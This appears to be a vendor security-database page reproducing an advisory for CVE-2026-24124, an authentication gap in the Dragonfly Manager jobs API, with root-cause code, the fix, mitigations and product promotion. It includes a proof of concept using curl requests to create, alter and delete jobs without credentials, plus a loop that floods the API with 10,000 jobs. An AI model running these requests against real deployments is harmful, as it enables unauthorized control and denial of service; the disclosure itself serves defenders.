Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

GHSA-j8hf-cp34-g4j7 v2

Fix: dragonflyoss/dragonfly@9fb9a2d

GHSA-j8hf-cp34-g4j7 is a Missing Authentication vulnerability in d7y.io/dragonfly/v2. A fix is available for d7y.io/dragonfly/v2 — see the affected versions and patch details below.

Dragonfly Manager Job API Unauthenticated Access

Also known asCVE-2026-24124GO-2026-4356
Published
Jan 22, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-j8hf-cp34-g4j7.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐹d7y.io/dragonfly/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.

Affected Products

  • Product: Dragonfly
  • Component: Manager (REST API)
  • Affected Versions: v2.x (based on source code analysis, including v2.4.0)
  • Affected Endpoints: /api/v1/jobs

Vulnerability Details

Description

Dragonfly Manager's Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:

  1. List all jobs (GET /api/v1/jobs)
  2. Create new jobs (POST /api/v1/jobs)
  3. Query job details (GET /api/v1/jobs/:id)
  4. Modify jobs (PATCH /api/v1/jobs/:id)
  5. Delete jobs (DELETE /api/v1/jobs/:id)

Technical Root Cause

In the source code file manager/router/router.go at lines 204-211, the Job API route group lacks authentication middleware:

// TODO Add auth to the following routes and fix the tests.
// Job.
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

In contrast, other API endpoints (such as /clusters) are correctly configured with authentication:

// manager/router/router.go:143
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)

The developer left a TODO comment in the code, indicating this is a known but unresolved issue.

Proof of Concept

Environment Setup

Prerequisites

  • Kubernetes cluster (Kind/Minikube/GKE, etc.)
  • Helm 3.8.0+
  • kubectl
  • curl and jq

Deployment Steps

  1. Add Dragonfly Helm Repository
helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/
helm repo update
  1. Generate Deployment Manifest
helm template dragonfly dragonfly/dragonfly \
  --namespace dragonfly-system \
  --set manager.replicas=1 \
  --set scheduler.replicas=1 \
  --set seedClient.replicas=1 \
  --set client.enable=false > /tmp/dragonfly-manifest.yaml
  1. Deploy to Kubernetes
kubectl create namespace dragonfly-system
kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system
kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s

Expected Output:

namespace/dragonfly-system created
[... resource creation messages ...]
pod/dragonfly-manager-5cc788d64b-grpbk condition met
pod/dragonfly-mysql-0 condition met
pod/dragonfly-redis-master-0 condition met
pod/dragonfly-scheduler-0 condition met
pod/dragonfly-seed-client-0 condition met
  1. Setup Port Forwarding
kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &

Exploitation Steps

Step 1: Verify Unauthenticated Access

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs

Actual Output:

[]

HTTP Status Code: 200 OK

Analysis: The API returns a successful response instead of 401 Unauthorized, confirming the lack of authentication.

Step 2: Create Unauthorized Job

Command:

curl -s -X POST http://localhost:8080/api/v1/jobs \
  -H "Content-Type: application/json" \
  -d '{
    "type": "preheat",
    "args": {
      "type": "file",
      "url": "http://example.com/test-file.txt"
    },
    "scheduler_cluster_ids": [1]
  }' | jq .

Actual Output:

{
  "id": 2,
  "created_at": "2026-01-17T16:34:22.497Z",
  "updated_at": "2026-01-17T16:34:22.497Z",
  "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9",
  "type": "preheat",
  "state": "PENDING",
  "args": {
    "type": "file",
    "url": "http://example.com/test-file.txt",
    "scope": "single_seed_peer",
    "timeout": 3600000000000
  },
  "user_id": 0,
  "scheduler_clusters": [
    {
      "id": 1,
      "name": "cluster-1",
      "is_default": true
    }
  ]
}

HTTP Status Code: 200 OK

Analysis: Successfully created a Job (ID: 2) without any authentication token.

Step 3: Query Job Details

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'

Actual Output:

2
"preheat"
"PENDING"

HTTP Status Code: 200 OK

Step 4: Modify Job

Command:

curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \
  -H "Content-Type: application/json" \
  -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio'

Actual Output:

2
"Modified by unauthenticated attacker"

HTTP Status Code: 200 OK

Step 5: Delete Job

Command:

curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2

Actual Output:

200

HTTP Status Code: 200 OK

Step 6: Comparison Test - Authenticated Endpoint

Command:

curl -s -X GET http://localhost:8080/api/v1/clusters | jq .

Actual Output:

{
  "message": "Unauthorized"
}

HTTP Status Code: 401 Unauthorized

Analysis: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.

Automated POC Script

Complete automated verification script available at:

  • Script: poc.sh
  • Output Log: poc_output.log

Execution Summary:

[Test 1] GET /api/v1/jobs - HTTP 200  VULNERABLE
[Test 2] POST /api/v1/jobs - HTTP 200  VULNERABLE (Job ID: 2)
[Test 3] GET /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 4] PATCH /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 5] DELETE /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 6] GET /api/v1/clusters - HTTP 401  EXPECTED (comparison test)

Impact Analysis

Direct Impact

  1. Unauthorized Job Management: Attackers can fully control the Job lifecycle (CRUD operations)
  2. Information Disclosure: Can query all jobs, potentially exposing internal URLs, configurations, and business logic
  3. Service Disruption: Can delete legitimate jobs, affecting normal file distribution services
  4. Resource Exhaustion: Can create massive numbers of jobs leading to system resource exhaustion (DoS)

Potential Attack Scenarios

  1. Resource Exhaustion Attack
# Create 10,000 jobs to exhaust resources
for i in $(seq 1 10000); do
  curl -X POST http://manager:8080/api/v1/jobs \
    -H "Content-Type: application/json" \
    -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" &
done
  1. SSRF Risk: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)

  2. Business Logic Disruption: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality

Affected Deployment Scenarios

  • Manager API exposed on the public internet or untrusted networks
  • Malicious users or compromised systems in internal networks
  • Tenant isolation failures in multi-tenant environments

Remediation

Recommended Fix

Add authentication and authorization middleware to the Job API in the manager/router/router.go file:

// Before Fix (lines 204-211)
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

// After Fix
job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac)
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

Temporary Mitigation

Before the fix is released, the following mitigation measures can be taken:

  1. Network Isolation: Restrict network access to the Manager API

    • Use firewall rules to limit source IPs
    • Only allow trusted internal networks to access
    • Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication
  2. API Gateway: Deploy an API gateway in front of Manager for authentication

    • Use reverse proxies like Nginx/Kong/Traefik
    • Configure OAuth2/JWT validation
  3. Monitoring and Alerting: Monitor abnormal access patterns to Job API

    • Log all Job API calls
    • Set up alerts for abnormal job creation/deletion

Verify Fix

After the fix, all unauthenticated requests should return 401 Unauthorized:

curl -s -X GET http://localhost:8080/api/v1/jobs

Expected Output:

{
  "message": "Unauthorized"
}

Appendix: Complete Verification Logs

Deployment Verification Logs

$ kubectl -n dragonfly-system get pods
NAME                                 READY   STATUS    RESTARTS   AGE
dragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m
dragonfly-mysql-0                    1/1     Running   0          5m
dragonfly-redis-master-0             1/1     Running   0          5m
dragonfly-redis-replicas-0           1/1     Running   0          5m
dragonfly-scheduler-0                1/1     Running   0          5m
dragonfly-seed-client-0              1/1     Running   0          5m

$ kubectl -n dragonfly-system get svc dragonfly-manager
NAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE
dragonfly-manager   ClusterIP   10.96.240.126   <none>        8080/TCP,65003/TCP   5m

POC Execution Complete Logs

See poc_output.log file for details.

==========================================
VUL-001: Job API Unauthenticated Access POC
==========================================

[Test 1] GET /api/v1/jobs (No Authentication)
HTTP Status: 200
Response: []
✅ VULNERABLE: Endpoint accessible without authentication

[Test 2] POST /api/v1/jobs (No Authentication)
HTTP Status: 200
Job ID: 2
✅ VULNERABLE: Job created without authentication

[Test 3] GET /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job details accessible without authentication

[Test 4] PATCH /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job updated without authentication

[Test 5] DELETE /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job deleted without authentication

[Test 6] GET /api/v1/clusters (Should Require Authentication)
HTTP Status: 401
Response: {"message":"Unauthorized"}
✅ EXPECTED: Endpoint correctly requires authentication

==========================================
POC Execution Complete
==========================================


Patches

  • Dragonfy v2.4.1 and above.

Workarounds

There are no effective workarounds, beyond upgrading.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹God7y.io/dragonfly/v2all versions2.4.1go get d7y.io/dragonfly/v2@v2.4.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for d7y.io/dragonfly/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update d7y.io/dragonfly/v2 to 2.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j8hf-cp34-g4j7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-j8hf-cp34-g4j7 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-j8hf-cp34-g4j7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption. ## Affected Products - **Product**: Dragonfly - **Component**: Manager (REST API) - **Affected Versions**: v2.x (based on source code analysis, including v2.4.0) - **Affected Endpoints**: `/api/v1/jobs` ## Vulnerability Details ### Description Dragonfly Manager's Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC author
O3 Security · Impact-Aware SCA

Is GHSA-j8hf-cp34-g4j7 in your dependencies?

O3 Security finds GHSA-j8hf-cp34-g4j7 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-j8hf-cp34-g4j7: v2 SSRF | O3 Security